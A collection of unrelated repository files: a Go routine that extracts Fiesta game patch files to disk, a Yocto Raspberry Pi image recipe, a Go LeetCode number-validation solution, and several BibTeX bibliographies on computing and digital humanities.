.txt,GuildT0405.txt,GuildT0406.txt,GuildT0407.txt,AdlF.txt,AdlFH.txt,Leviathan.txt,NewTower.txt,Siren.txt,Tower01.txt,Tower02.txt,Tower03.txt,UrgDragon.txt,WarN.txt,KDHBat1.txt,Job2_Dn01.txt,Job2_Dn02.txt,KDAntiHenis.txt,KDEchoCave.txt,KDEddyHill(old).txt,KDEddyHill.txt,KDEddyHill2.txt,KDEddyHill3.txt,KDEddyHill4.txt,KDEnMaze.txt,KDFargels.txt,KDGoldHill(Making).txt,KDGoldHill.txt,KDGreenHill.txt,KDHBat1.txt,KDHDragon.txt,KDHero.txt,KDHoneying.txt,KDKingkong.txt,KDKingkong2.txt,KDKingkong3.txt,KDMDragon.txt,KDPrtShip.txt,KDRockCan.txt,KDSoccer_W.txt,KDSpider.txt,KDTrDn.txt,KDUnHall.txt,KDUnHall2.txt,KDVictor.txt,KD_Kingkong.txt,KQ_HONEYING.txt,SlimeKQHig.txt,SlimeKQLow.txt,SlimeKQMed.txt,KingdomQuest.txt,Linkfield01.txt,Linkfield02.txt,PriDn01.txt,PriDn02.txt,PsyIn.txt,PsyInDn02.txt,PsyOut.txt,QField01.txt,QField02.txt,QField03.txt,QField04.txt,R_Helga01.txt,Rou.txt,RouCos01.txt,RouCos02.txt,RouCos03.txt,RouN.txt,RouTemDn01.txt,RouTemDn02.txt,RouVal01.txt,RouVal02.txt,SwaDn01.txt,SwaDn02.txt,Urg.txt,UrgDark01.txt,UrgFire01.txt,UrgFireDn01.txt,UrgSwa01.txt,UrgSwaDn01.txt,Urg_Alruin.txt,ValDn01.txt,ValDn02.txt,WindyCave.txt,desktop.ini,MobRegenAni.shn,MobResist.shn,AdlThornR01.txt,AdlThornR02.txt,AdlThornR03.txt,AdlThornR04.txt,AdlThornR05.txt,AdlThornR06.txt,AdlThornR07.txt,AdlThornR08.txt,AdlThornR09.txt,AdlThornR10.txt,AdlThornR11.txt,AdlThornR12.txt,BerValeDw01.txt,BerValeDw02.txt,BerValeDw03.txt,BerValeDw04.txt,BerValeGaruda.txt,GB_Waitress01.txt,GB_Waitress02.txt,GB_Waitress03.txt,GB_Waitress04.txt,GB_Waitress05.txt,GB_Waitress06.txt,GB_Waitress07.txt,GB_Waitress08.txt,GB_Waitress09.txt,GB_Waitress10.txt,Kal01_HERO1.txt,Action.xls,B_Slime.txt,BallCake01.txt,BallWater.txt,C_Gate01.txt,ChristmasTree.txt,DT_EntranceGate.txt,DT_ExitGate.txt,DT_RadionOre.txt,E_SixYear_Dance.txt,E_SkiFlag_Blue.txt,E_SkiFlag_Gold.txt,E_SkiFlag_Red.txt,E_Ski_IDHoneying.txt,E_Ski_Snowman.txt,Egg2014_BigEgg.txt,GTI_BoxAll.txt,GTI_BoxTeamA.txt,GTI_BoxTeamB.txt,Gate_AdlF.txt,Gate_Lab.txt,IDLeviathanGate01.txt,IDMapLinkGate00.txt,IDMapLinkGate01.txt,IDMapLinkGate02.txt,IDMapLinkGate03.txt,KDSoccer_Ball.txt,KDSoccer_Ball_14.txt,KDSoccer_Invincible.txt,KDSoccer_SpeedUp.txt,KarenGate.txt,LightField01.txt,LightField02.txt,LightField03.txt,LightField04.txt,LightField05.txt,LightOrb01.txt,LightOrb02.txt,LightOrb03.txt,LightOrb04.txt,LightOrb05.txt,LightOrb06.txt,LightOrb07.txt,LightOrb08.txt,LightOrb09.txt,LightOrb10.txt,MapLinkGate.txt,MapLinkGate01.txt,MultiProtect.txt,MultiProtect02.txt,MultiProtect03.txt,SpImShield.txt,SpUpShoes.txt,T_Gate01.txt,T_Gate02.txt,WarBL_EntranceGate.txt,WarH_EntranceGate.txt,MobSpecies.shn,MobWeapon.shn,MsgWorldManager.shn,MultiHitType.shn,MysteryVaultServer.shn,AdlAertsina.txt,AdlLoussier.txt,AdlSkillEdwina.txt,AdlSmithAlexia.txt,AlruinItemMctGeric.txt,AlruinSkillPaela.txt,AlruinSmithMacurdos.txt,BeraGuardArcher.txt,BeraItemEdmong.txt,BeraItemMilly.txt,BeraSkillHal.txt,BeraSmithMcDilan.txt,CardRefunder.txt,Card_Mct_1Piece.txt,Card_Mct_3Piece.txt,Card_Mct_BackTail.txt,Card_Mct_FaceHatMask.txt,Card_Mct_Pet.txt,Chaoming.txt,CustomProdNPC.txt,DailyCoinMerchant.txt,Daliy_Merchant.txt,E_HwinQuest.txt,E_Ski_MerchantNPC.txt,E_Ski_RentMachine.txt,E_XXiaoming.txt,Egg2014_HoshemingNPC.txt,Egg_Digger.txt,EldArcGuard03.txt,EldFurnitureForestTall.txt,EldItemMctKenton.txt,EldItemMctNina.txt,EldItemMctNina2.txt,EldPalSkillKeest.txt,EldScoSkillDeikid.txt,EldSmithKarls.txt,EldWarSkillMarty.txt,EldWeaponTitleMctBran.txt,EldWizSkillWishis.txt,GB_CoinStore.txt,GB_MasterRoan.txt,GuildItemMct.txt,HednisSkillGrunt.txt,HednisSmithRohan.txt,IDVaultNPC.txt,IM_Arena01.txt,IM_Arena02.txt,IM_Arena_TE.txt,ItemMctJelluin.txt,Joker.txt,KDSoccer_MctNPC.txt,KDSoccer_MctNPC_14.txt,KQSpring_Bman.txt,KQSpring_Rman.txt,KarenMct.txt,LC_Machine.txt,LC_MachineBlue.txt,LC_MachineRed.txt,Mct_1Piece.txt,Mct_3Piece.txt,Mct_Back.txt,Mct_Face.txt,Mct_Hat.txt,Mct_House.txt,Mct_Mount.txt,Mct_Pet.txt,Mct_Pet2.txt,Mct_Skin.txt,Mct_Tail.txt,MineDigger.txt,NPCItemList.txt,RouFurnitureForestTom.txt,RouItemMctPey.txt,RouSkillRubi.txt,RouSmithJames.txt,RouSoulMctJulia.txt,RouT_Skill.txt,RouT_Smith.txt,RouTownChiefRoumenus.txt,RouWeaponTitleMctZach.txt,SD_Futureming.txt,Swimming.txt,SwimmingB.txt,SwimmingR.txt,TempSkill.txt,Tiros.txt,UruFurnitureForestTeem.txt,UruItemMctVellon.txt,UruSkillChyburn.txt,UruSmithHans.txt,WeddingDreian.txt,XiaomingB_7th.txt,XiaomingR_7th.txt,Xiaoming_7th.txt,PSkillSetAbstate.shn,PartyBonusByLvDiff.shn,PartyBonusByMember.shn,PartyBonusLimit.shn,PupCase.shn,PupCaseDesc.shn,PupFactorCondition.shn,PupMind.shn,PupPriority.shn,PupServer.shn,QuestScript.shn,QuestSpecies.shn,RandomOption.shn,RandomOptionCount.shn,RareMoverEachRate.shn,RareMoverRate.shn,RareMoverSubRate.shn,ReactionType.shn,GuildTournament.ps,GuildTournament1.ps,Maghda.ps,NewTower.ps,d_NestOfLeviathan.ps,d_graveyard.ps,ConditionOfHero.ps,ConditionOfHero.ps,GordonMaster.ps,HMiniDragon.ps,Honeying.ps,KQHBat1.ps,KQHBat2.ps,KQHBat3.ps,KQHBat4.ps,KQHBat5.ps,KickOut.ps,Fail.ps,Main.ps,Suc.ps,Kingkong.ps,MiniDragon.ps,Quest.ps,RoumenGate.ps,TesScript.ps,Fail.ps,Main.ps,Suc.ps,UnderHall(Bak).ps,UnderHall.ps,UnderHall2.ps,AdlThorn01.ps,AlDn01.ps,BerFrz01.ps,CemDn01.ps,EldCem01.ps,EldCem02.ps,EldFor01.ps,EldGbl01.ps,EldPriDn02.ps,EldSleep01.ps,Elderine.ps,ElfDn01.ps,FireDn01.ps,ForDn01.ps,GblDn01.ps,Monkey.ps,MonkeyBreed01.ps,MonkeyBreed02.ps,MonkeyBreed03.ps,OXFieldInit.ps,PriDn01.ps,QField03.ps,QField04.ps,RouCos03.ps,RouTemDn02.ps,RouVal02.ps,Roumen.ps,UrgFire01.ps,UrgFireDn01.ps,UrgSwa01.ps,UrgSwaDn01.ps,ValDn01.ps,Job2_Gamb.ps,JobChange1.ps,JobChange2-1.ps,ConditionOfHero.ps,GoldHill.ps,KickOut.ps,Kingkong.ps,MaraPirate.ps,MiniDragon.ps,Quest.ps,TesScript.ps,UnderHall.ps,Wedding.ps,AdlF.txt,AdlFH.txt,D_Graveyard.txt,Defense.txt,Defense01.txt,ETC.txt,EldEvent.txt,Event.txt,GraveYard.txt,GraveYardH.txt,Honeying.txt,JC100.txt,JobChange1.txt,JobChange2-1.txt,JobChange2-2.txt,JobChange2-3.txt,KDArena.txt,KDEgg.txt,KDFargels.txt,KDGreenHill.txt,KDMine.txt,KDSpring.txt,KQAntiHenis100.txt,KQConditionOfHero.txt,KQGoldHill.txt,KQGordonMaster.txt,KQHBat1.txt,KQHBat2.txt,KQHBat3.txt,KQHBat4.txt,KQHBat5.txt,KQHoneying.txt,KQKingSlime.txt,KQKingkong.txt,KQMaraPirate.txt,KQMiniDragon.txt,KQUnderHall.txt,KQUnderHall2.txt,LegendOfBijou.txt,MapName.txt,MenuString.txt,Scenario.txt,Script.txt,Siren.txt,Tower01.txt,Tower02.txt,Tower03.txt,WarBL.txt,WarH.txt,WarL.txt,WarN.txt,Wedding.txt,d_NestOfLeviathan.txt,SetItem.shn,SetItemEffect.shn,ShineReward.shn,SpamerPenalty.shn,SpamerPenaltyRule.shn,SpamerReport.shn,StateField.shn,StateItem.shn,StateMob.shn,ToggleSkill.shn,TutorialCharacterData.txt,SetItemView.shn,ChrCommon.txt,DamageByAngle.txt,DamageBySoul.txt,ExpRecalculation.txt,Field.txt,ItemDropGroup.txt,ItemDropTable.txt,ItemOptions.txt,ItemUseFunction.txt,MiscDataTable.txt,MobChat.txt,NPC.txt,NPCAction.txt,ParamArcherServer.txt,ParamAssassinServer.txt,ParamChaserServer.txt,ParamClericServer.txt,ParamCleverFighterServer.txt,ParamCloserServer.txt,ParamCruelServer.txt,ParamEnchanterServer.txt,ParamFighterServer.txt,ParamGladiatorServer.txt,ParamGuardianServer.txt,ParamHawkArcherServer.txt,ParamHighClericServer.txt,ParamHolyKnightServer.txt,ParamJokerServer.txt,ParamKnightServer.txt,ParamMageServer.txt,ParamPaladinServer.txt,ParamRangerServer.txt,ParamSaviorServer.txt,ParamScoutServer.txt,ParamSentinelServer.txt,ParamSharpShooterServer.txt,ParamWarriorServer.txt,ParamWarrockServer.txt,ParamWizMageServer.txt,ParamWizardServer.txt,PineScript.txt,Quest.txt,QuestParser.txt,RandomOptionTable.txt,RecallCoord.txt,SubLayerInteract.txt,TreasureReward.txt,"
		for _, f := range strings.Split(interestingFiles, ",") {
			isServerFile[f] = true
		}

		fileName := "/"
		if ec.StoreServerFiles {
			if _, ok := isServerFile[segments[len(segments)-1]]; ok {
				fileName += gf.Version + "_" + ksuid.New().String() + "_" + segments[len(segments)-1]
			} else {
				return
			}
		} else {
			if segments[len(segments)-1] == "Fiesta.bin" {
				fileName += gf.Version + "_" + ksuid.New().String() + "_" + segments[len(segments)-1]
			} else {
				fileName += segments[len(segments)-1]
			}
		}

		absPath, err := filepath.Abs(directories)
		if err != nil {
			log.Error(err)
			return
		}

		err = os.MkdirAll(absPath, 0700)

		if err != nil {
			log.Error(err)
			return
		}

		fileAbsPath, err := filepath.Abs(directories+fileName)
		if err != nil {
			log.Error(err)
			return
		}

		_, err = os.Stat(fileAbsPath)

		if err == nil {
			log.Infof("file %v already exists, skipping.", fileAbsPath)
			return
		}

		file, err := os.OpenFile(fileAbsPath, os.O_RDONLY|os.O_CREATE, 0700)

		if err != nil {
			fmt.Println(err)
		}

		var b []byte
		if f.Offset+f.Size > uint64(len(data)) {
			b = append(b, data[f.Offset:]...)
			// files are listed but there is no data to read from
			// this means the full patch is the next gdp
			// no clue why this was made like this x.x
			eof = true
		} else {
			b = append(b, data[f.Offset:f.Offset+f.Size]...)
		}

		_, err = file.Write(b)
		if err != nil {
			fmt.Println(err)
		}
	}
}


text:
@inproceedings{2019-GFYB,
 author = {Oded Green and James Fox and Jeff Young and David Bader},
 booktitle = {9th IEEE/ACM Workshop on Irregular Applications: Architectures and Algorithms, IA3@SC 2019, Denver, CO, USA, November 18, 2019},
 doi = {10.1109/IA349570.2019.00016},
 pages = {},
 title = {Performance Impact of Memory Channels on Sparse and Irregular Algorithms},
 url = {},
 month = {November},
 year = {2019}
}

gha_language: Shell


text:
DESCRIPTION = "A custom image based on core-image and x11/efl."

# don't include images based on core-image-minimal
# core-image bbclass provides core-boot and base packages
inherit core-image

export IMAGE_BASENAME = "rpi-efl-image"

IMAGE_FEATURES += "package-management ssh-server-dropbear splash \
    x11-base hwcodecs"

# you can override the following three parameters in your local.conf
DEFAULT_TIMEZONE ?= "Universal"

# possible values are 1 (DVI only) or 2 (hdmi with audio)
DEFAULT_AUDIO_OUT ?= "2"

# possible values are internal or external
CUSTOM_FEED_CONFIG ?= "external"

PREFERRED_PROVIDER_opkg-collateral = "opkg-collateral"
PREFERRED_PROVIDER_psplash-support = "psplash"

IMAGE_INSTALL = "\
    ${CORE_IMAGE_BASE_INSTALL} \
    ${CORE_IMAGE_EXTRA_INSTALL} \
    ${EXTRA_TIMEZONES} \
    ${XSERVER} \
    ${WINDOW_MANAGER} \
    ${DESKTOP_APPS} \
    userland \
    bash \
    nano \
    zram \
    gkrellm \
    cpufrequtils \
    connman-tests \
    packagegroup-base-alsa \
    alsa-utils-speakertest \
    mpd \
    empcd \
    mc \
    vim \
    file \
    tzdata \
    ntp \
    ntpdate \
    ntp-utils \
    perl-module-socket \
    perl-module-getopt-std \
    usbutils \
    sysfsutils \
    bluez-hcidump \
    bluez4-agent \
"

XSERVER = " \
    packagegroup-core-x11 \
    packagegroup-core-x11-base \
    xserver-nodm-init-systemd \
    xkbcomp \
    xmodmap \
    xrdb \
    setxkbmap \
"

WINDOW_MANAGER = " \
    e-wm-config-default \
    e-wm-config-standard \
    e-wm-config-illume2 \
    ttf-dejavu-sans \
    ttf-dejavu-sans-mono \
    ttf-dejavu-common \
"

DESKTOP_APPS = " \
    imagemagick \
    xchat \
    vala-terminal \
    leafpad \
    leafpad-stock-icons \
    midori \
    pcmanfm \
    xfmpc \
    gkrellm-client \
    gst-meta-video \
    gst-meta-audio \
"

EXTRA_TIMEZONES = " \
    tzdata-africa \
    tzdata-americas \
    tzdata-antarctica \
    tzdata-arctic \
    tzdata-asia \
    tzdata-atlantic \
    tzdata-australia \
    tzdata-europe \
    tzdata-misc \
    tzdata-pacific \
    tzdata-posix \
    tzdata-right \
"

repository: jwilkins/meta-raspberrypi

repo_name: jwilkins/meta-raspberrypi


text:
@article{FONTALVO2018,
   title = {{M\~A\copyrighttodo An\~A!`lisis Envolvente de Datos y Redes Neuronales en la Evaluaci\~A\textthreesuperiorn y Predicci\~A\textthreesuperiorn de la Eficiencia T\~A\copyrightcnica de Peque\~A\pmas Empresas Exportadoras}},
   journal = {{Informaci\~A\textthreesuperiorn tecnol\~A\textthreesuperiorgica}},
   author={Fontalvo, Tom\~A!`s AND De La Hoz, Efra\~A\-n AND De La Hoz, Enrique},
   ISSN = {0718-0764},
   language = {es},
   URL = {https://scielo.conicyt.cl/scielo.php?script=sci_arttext&pid=S0718-07642018000600267&nrm=iso},
   volume = {29},
   year = {2018},
   month = {12},
   pages = {267 - 276},
   publisher = {scielocl},
   crossref = {10.4067/S0718-07642018000600267},
   }


text:
/*
Draw DFA diagram before you write program.

DFA structure is that:
	(source_state, current_input_char) -> target_state

The process is easy, just feed dfa machine with input character, if error occurs
in the middle of process or end with a unacceptable state, the string is a
invalid number, otherwise is a valid number.
*/
package main

import "fmt"

type Pair struct {
	source_state int
	char_type    string
}

func isNumber(s string) bool {
	// build transition table
	transition_table := make(map[Pair]int)
	transition_table[Pair{1, "blank"}] = 1
	transition_table[Pair{1, "sign"}] = 2
	transition_table[Pair{1, "digit"}] = 3
	transition_table[Pair{1, "dot"}] = 4
	transition_table[Pair{2, "digit"}] = 3
	transition_table[Pair{2, "dot"}] = 4
	transition_table[Pair{3, "digit"}] = 3
	transition_table[Pair{3, "dot"}] = 5
	transition_table[Pair{3, "e"}] = 6
	transition_table[Pair{3, "blank"}] = 9
	transition_table[Pair{4, "digit"}] = 5
	transition_table[Pair{5, "digit"}] = 5
	transition_table[Pair{5, "e"}] = 6
	transition_table[Pair{5, "blank"}] = 9
	transition_table[Pair{6, "sign"}] = 7
	transition_table[Pair{6, "digit"}] = 8
	transition_table[Pair{7, "digit"}] = 8
	transition_table[Pair{8, "digit"}] = 8
	transition_table[Pair{8, "blank"}] = 9
	transition_table[Pair{9, "blank"}] = 9

	accept_table := []int{
		3, 5, 8, 9,
	}

	// initial state
	current_state := 1

	// feed character for dfa machine
	for i := 0; i < len(s); i++ {
		c := s[i]

		char_type := "unknown"
		if c >= '0' && c <= '9' {
			char_type = "digit"
		} else if c == ' ' {
			char_type = "blank"
		} else if c == '+' || c == '-' {
			char_type = "sign"
		} else if c == '.' {
			char_type = "dot"
		} else if c == 'e' {
			char_type = "e"
		}

		target_state := transition_table[Pair{current_state, char_type}]
		if target_state == 0 { // error occurs
			return false
		}

		// state transition
		current_state = target_state
	}

	// check is it accept?
	for i := 0; i < len(accept_table); i++ {
		if accept_table[i] == current_state {
			return true
		}
	}
	return false
}

func main() {
	fmt.Println(isNumber("1"))
	fmt.Println(isNumber("a1"))
	fmt.Println(isNumber("1a"))
	fmt.Println(isNumber("7j1"))
}

repository: mrvon/leetcode

repo_name: mrvon/leetcode


text:
@inproceedings{kalz2006symmetrical,
 author = {Kalz, M and Van Bruggen, J and Rusman, E and Giesbers, B and Koper, R},
 booktitle = {In R. Koper & K, Stefanov (Eds.), Proceedings of the 2006 International Workshop on Learning Networks for Lifelong Competence Development},
 organization = {Citeseer},
 title = {Symmetrical Positioning of Learners in Learning Networks with Content Analysis, Metadata and Ontologies},
 year = {2006}
}

repository: mkalz/mkalz-academic

repo_name: mkalz/mkalz-academic


text:
%% This BibTeX bibliography file was created using BibDesk.
%% http://bibdesk.sourceforge.net/

%% Created for tunder at 2014-12-21 22:53:20 -0600

%% Saved with string encoding Unicode (UTF-8)

@inproceedings{sculley:adversarial,
	Author = {Sculley, D. and Otey, Matthew Eric and Pohl, Michael and Spitznagel, Bridget and Hainsworth, John and Zhou, Yunkai},
	Booktitle = {KDD '11},
	Date-Added = {2014-12-22 04:44:03 +0000},
	Date-Modified = {2014-12-22 04:46:39 +0000},
	Publisher = {\url{http://www.eecs.tufts.edu/~dsculley/papers/adversarial-ads.pdf}},
	Title = {Detecting Adversarial Advertisements in the Wild},
	Year = {2011}}

@misc{witmore:time,
	Author = {Witmore, Michael},
	Date-Added = {2014-12-22 00:11:48 +0000},
	Date-Modified = {2014-12-22 00:15:31 +0000},
	Howpublished = {\url{http://winedarksea.org/?p=1507}},
	Keywords = {time},
	Month = {April},
	Title = {The Time Problem: Rigid Classifiers, Classifier Postmarks},
	Year = {2012}}

@misc{underwood:genrerepo,
	Author = {Underwood, Ted and Black, Michael L. and Capitanu, Boris},
	Date-Added = {2014-12-21 20:34:23 +0000},
	Date-Modified = {2014-12-21 20:36:25 +0000},
	Howpublished = {\url{https://github.com/tedunderwood/genre}},
	Title = {Code for {U}nderstanding {G}enre in a {C}ollection of a {M}illion {V}olumes}}

@misc{underwood:slate,
	Author = {Underwood, Ted and Long, Hoyt and So, Richard Jean},
	Date-Added = {2014-12-21 14:50:21 +0000},
	Date-Modified = {2014-12-21 15:02:14 +0000},
	Howpublished = {\url{http://www.slate.com/articles/business/moneybox/2014/12/thomas_piketty_on_literature_balzac_austen_fitzgerald_show_arc_of_money.html}},
	Keywords = {slate},
	Month = {December},
	Title = {Cents and Sensibility},
	Year = {2014}}

@article{weka,
	Author = {Hall, Mark and Frank, Eibe and Holmes, Geoffrey and Pfahringer, Bernhard and Reutemann, Peter and Witten, Ian H.},
	Date-Added = {2014-12-20 21:32:23 +0000},
	Date-Modified = {2014-12-20 21:43:55 +0000},
	Journal = {SIGKDD Explorations},
	Number = {1},
	Title = {The {WEKA} Data Mining Software: An Update},
	Volume = {11},
	Year = {2009}}

@article{tsoumakas:multilabel,
	Author = {Tsoumakas, Grigorios and Katakis, Ioannis},
	Date-Added = {2014-12-20 17:51:38 +0000},
	Date-Modified = {2014-12-20 17:52:50 +0000},
	Journal = {International Journal of Data Warehousing and Mining},
	Keywords = {multilabel},
	Number = {3},
	Pages = {1-13},
	Title = {Multi-label Classification: An Overview},
	Volume = {3},
	Year = {2007}}

@article{weiss:imbalance,
	Author = {Weiss, Gary M. and Provost, Foster},
	Date-Added = {2014-12-20 14:02:56 +0000},
	Date-Modified = {2014-12-20 14:04:21 +0000},
	Journal = {Journal of Artificial Intelligence Research},
	Keywords = {class imbalance, classification},
	Pages = {315-54},
	Title = {Learning when Training Data are Costly: The Effect of Class Distribution on Tree Induction},
	Volume = {19},
	Year = {2003}}

@article{dieterrich:multiclass,
	Author = {Dieterrich, Thomas and Bakiri, Ghulum},
	Date-Added = {2014-12-20 05:11:27 +0000},
	Date-Modified = {2014-12-20 05:12:59 +0000},
	Journal = {Journal of Artificial Intelligence Research},
	Keywords = {multiclass, classification},
	Pages = {263-286},
	Title = {Solving Multiclass Learning Problems via Error-Correcting Output Codes},
	Volume = {2},
	Year = {1995}}

@article{rifkin:multiclass,
	Author = {Rifkin, Ryan and Klautau, Aldebaro},
	Date-Added = {2014-12-19 22:40:28 +0000},
	Date-Modified = {2014-12-19 22:43:25 +0000},
	Journal = {Journal of Machine Learning Research},
	Keywords = {multiclass},
	Title = {In Defense of One-Vs-All Classification},
	Year = {2004}}

@article{allwein:multiclass,
	Author = {Allwein, Erin L. and Schapire, Robert E. and Singer, Yoram},
	Date-Added = {2014-12-19 22:21:36 +0000},
	Date-Modified = {2014-12-19 22:43:25 +0000},
	Journal = {Journal of Machine Learning Research},
	Pages = {113-41},
	Title = {Reducing Multiclass to Binary: A Unifying Approach for Margin Classifiers},
	Volume = {1},
	Year = {2000}}

@article{buckland:recall,
	Author = {Buckland, M. K. and Gey, F.},
	Date-Added = {2014-12-19 18:08:25 +0000},
	Date-Modified = {2014-12-19 18:09:34 +0000},
	Journal = {Journal of the American Society for Information Science},
	Number = {1},
	Pages = {12-19},
	Title = {The Relationship between Recall and Precision},
	Volume = {45},
	Year = {1994}}

@misc{allison:formalism,
	Date-Added = {2014-12-19 16:56:31 +0000},
	Date-Modified = {2014-12-19 16:57:48 +0000},
	Title = {Quantitativ}}

@article{breiman:modeling,
	Author = {Breiman, Leo},
	Date-Added = {2014-12-19 15:50:16 +0000},
	Date-Modified = {2014-12-19 16:00:53 +0000},
	Journal = {Statistical Science},
	Number = {3},
	Pages = {199-231},
	Title = {Statistical Modeling: The Two Cultures},
	Volume = {16},
	Year = {2001}}

@article{shmueli:explain,
	Author = {Shmu\'{e}li, Galit},
	Date-Added = {2014-12-19 15:20:54 +0000},
	Date-Modified = {2014-12-19 15:23:01 +0000},
	Journal = {Statistical Science},
	Number = {3},
	Pages = {289-310},
	Title = {To Explain or to Predict?},
	Volume = {25},
	Year = {2010}}

@article{dimaggio:classification,
	Author = {DiMaggio, Paul},
	Date-Added = {2014-12-19 03:29:25 +0000},
	Date-Modified = {2014-12-19 03:30:19 +0000},
	Journal = {American Sociological Review},
	Pages = {440-55},
	Title = {Classification in Art},
	Volume = {52},
	Year = {1987}}

@inproceedings{japkowicz:imbalance,
	Author = {Japkowicz, Nathalie},
	Booktitle = {Proceedings of the 2000 Conference on Artificial Intelligence},
	Date-Added = {2014-12-19 03:28:56 +0000},
	Date-Modified = {2014-12-20 14:02:13 +0000},
	Pages = {111-17},
	Title = {The Class Imbalance Problem: Significance and Strategies},
	Year = {2000}}

@book{devitt:genre,
	Author = {Devitt, Amy J.},
	Date-Added = {2014-12-19 03:27:14 +0000},
	Date-Modified = {2014-12-19 03:28:52 +0000},
	Publisher = {SIU Press},
	Title = {Writing Genres},
	Year = {2008}}

@techreport{santini:genre,
	Address = {\url{http://www.itri.brighton.ac.uk/techindex.html#sthash.U9gy55r3.dpuf}},
	Author = {Santini, Marina},
	Date-Added = {2014-12-19 02:52:46 +0000},
	Date-Modified = {2014-12-19 02:55:27 +0000},
	Institution = {Information Technology Research Institute},
	Keywords = {genre, classification},
	Number = {ITRI-04-03},
	Title = {State of the Art on Automatic Genre Identification},
	Year = {2004}}

@inproceedings{underwood:mutable,
	Author = {Underwood, Ted and Auvil, Loretta and Capitanu, Boris and Black, Michael L.},
	Booktitle = {Big Data, 2013 IEEE International Conference On},
	Date-Added = {2014-12-18 22:22:35 +0000},
	Date-Modified = {2014-12-18 22:28:27 +0000},
	Pages = {95-103},
	Publisher = {\url{http://arxiv.org/abs/1309.3323}},
	Title = {Mapping Mutable Genres in Structurally Complex Volumes},
	Year = {2013}}

@misc{underwood:blurry,
	Author = {Underwood, Ted},
	Date-Added = {2014-12-18 19:52:37 +0000},
	Date-Modified = {2014-12-18 19:55:16 +0000},
	Howpublished = {\url{http://tedunderwood.com/2014/10/22/distant-reading-and-the-blurry-edges-of-genre/}},
	Keywords = {fiction, genre},
	Month = {October},
	Title = {Distant Reading and the Blurry Edges of Genre},
	Year = {2014}}

@article{moretti:world,
	Author = {Moretti, Franco},
	Date-Added = {2014-12-18 19:48:02 +0000},
	Date-Modified = {2014-12-18 19:49:46 +0000},
	Journal = {New Left Review},
	Keywords = {unread, world},
	Month = {Jan/Feb},
	Title = {Conjectures on World Literature},
	Volume = {1},
	Year = {2000}}

@book{cohen:unread,
	Author = {Cohen, Margaret},
	Date-Added = {2014-12-18 19:42:47 +0000},
	Date-Modified = {2014-12-18 19:43:48 +0000},
	Keywords = {unread},
	Publisher = {Princeton University Press},
	Title = {The Sentimental Education of the Novel},
	Year = {1999}}

@misc{vanderwal:folksonomy,
	Author = {Vanderwal, Thomas},
	Date-Added = {2014-12-18 16:29:05 +0000},
	Date-Modified = {2014-12-18 17:06:56 +0000},
	Howpublished = {\url{http://vanderwal.net/folksonomy.html}},
	Keywords = {folksonomy},
	Lastchecked = {December 18, 2014},
	Month = {February},
	Title = {Folksonomy},
	Url = {http://vanderwal.net/folksonomy.html},
	Urldate = {February 2, 2007},
	Year = {2007},
	Bdsk-Url-1 = {http://vanderwal.net/folksonomy.html}}

@article{liu:meaning,
	Author = {Liu, Alan},
	Date-Modified = {2014-12-18 16:22:46 +0000},
	Month = {3},
	Number = {2},
	Pages = {409--23},
	Title = {The Meaning of the Digital Humanities},
	Urldate = {2013-08-12},
	Volume = {128},
	Year = {2013},
	Bdsk-Url-1 = {http://www.mlajournals.org/doi/abs/10.1632/pmla.2013.128.2.409}}

@article{quinn-et-al:attention,
	Author = {Quinn, Kevin M. and Monroe, Burt L. and Colaresi, Michael and Crespin, Michael H. and Radev, Dragomir R.},
	Date-Modified = {2014-12-18 16:22:46 +0000},
	Journal = {American Journal of Political Science},
	Month = jan,
	Number = {1},
	Pages = {209--228},
	Title = {How to Analyze Political Attention with Minimal Assumptions and Costs},
	Urldate = {2013-07-02},
	Volume = {54},
	Year = {2010},
	Bdsk-Url-1 = {https://login.proxy.libraries.rutgers.edu/login?url=http://search.ebscohost.com/login.aspx?direct=true&db=aph&AN=47158801&site=ehost-live}}

@article{grimmer:bayesian,
	Author = {Grimmer, Justin},
	Date-Modified = {2014-12-18 16:22:46 +0000},
	Journal = {Political Analysis},
	Month = dec,
	Number = {1},
	Pages = {1--35},
	Shorttitle = {A Bayesian Hierarchical Topic Model for Political Texts},
	Title = {A Bayesian Hierarchical Topic Model for Political Texts: Measuring Expressed Agendas in Senate Press Releases},
	Urldate = {2013-07-02},
	Volume = {18},
	Year = {2010},
	Bdsk-Url-1 = {http://pan.oxfordjournals.org.proxy.libraries.rutgers.edu/content/18/1/1}}

@article{franzosi:narrative,
	Author = {Franzosi, Roberto},
	Date-Modified = {2014-12-18 16:22:46 +0000},
	Journal = {International Review of Social History},
	Number = {Supplement S6},
	Pages = {81--104},
	Shorttitle = {Narrative as Data},
	Title = {Narrative as Data: Linguistic and Statistical Tools for the Quantitative Study of Historical Events},
	Volume = {43},
	Year = {1998},
	Bdsk-Url-1 = {http://dx.doi.org/10.1017/S002085900011510X}}

@article{english:everywhere,
	Author = {English, James F.},
	Date-Modified = {2014-12-18 16:22:46 +0000},
	Issue = {Spring},
	Number = {2},
	Pages = {v--xxiii},
	Subtitle = {The Sociology of Literature After \mkbibquote{the Sociology of Literature}},
	Title = {Everywhere and Nowhere},
	Urldate = {2013-08-12},
	Volume = {41},
	Year = {2010},
	Bdsk-Url-1 = {http://muse.jhu.edu.proxy.libraries.rutgers.edu/journals/new_literary_history/v041/41.2.english.html}}

@article{so-long:network,
	Author = {So, Richard Jean and Long, Hoyt},
	Date-Modified = {2014-12-18 16:22:46 +0000},
	Month = {6},
	Number = {2},
	Pages = {147--82},
	Title = {Network Analysis and the Sociology of Modernism},
	Urldate = {2013-08-01},
	Volume = {40},
	Year = {2013},
	Bdsk-Url-1 = {http://boundary2.dukejournals.org.proxy.libraries.rutgers.edu/content/40/2/147}}

@book{litlab:quantitative-formalism,
	Author = {Allison, Sarah and Heuser, Ryan and Jockers, Matthew and Moretti, Franco and Witmore, Michael},
	Date-Modified = {2014-12-19 16:58:22 +0000},
	Location = {Stanford, CA},
	Publisher = {Stanford Literary Lab},
	Series = {\url{http://litlab.stanford.edu/LiteraryLabPamphlet1.pdf}},
	Subtitle = {An Experiment},
	Title = {Quantitative Formalism},
	Urldate = {2012-11-03},
	Year = {2011},
	Bdsk-Url-1 = {http://litlab.stanford.edu/LiteraryLabPamphlet1.pdf}}

@article{best-marcus:reading,
	Author = {Stephen Best and Sharon Marcus},
	Journaltitle = {Representations},
	Month = {11},
	Number = {1},
	Pages = {1-21},
	Title = {Surface Reading: An Introduction},
	Volume = {108},
	Year = {2009}}

@article{love:close,
	Author = {Love, Heather},
	Number = {2},
	Pages = {371--391},
	Title = {Close but not Deep: Literary Ethics and the Descriptive Turn},
	Volume = {41},
	Year = {2010}}

@book{ggplot,
    author = {Hadley Wickham},
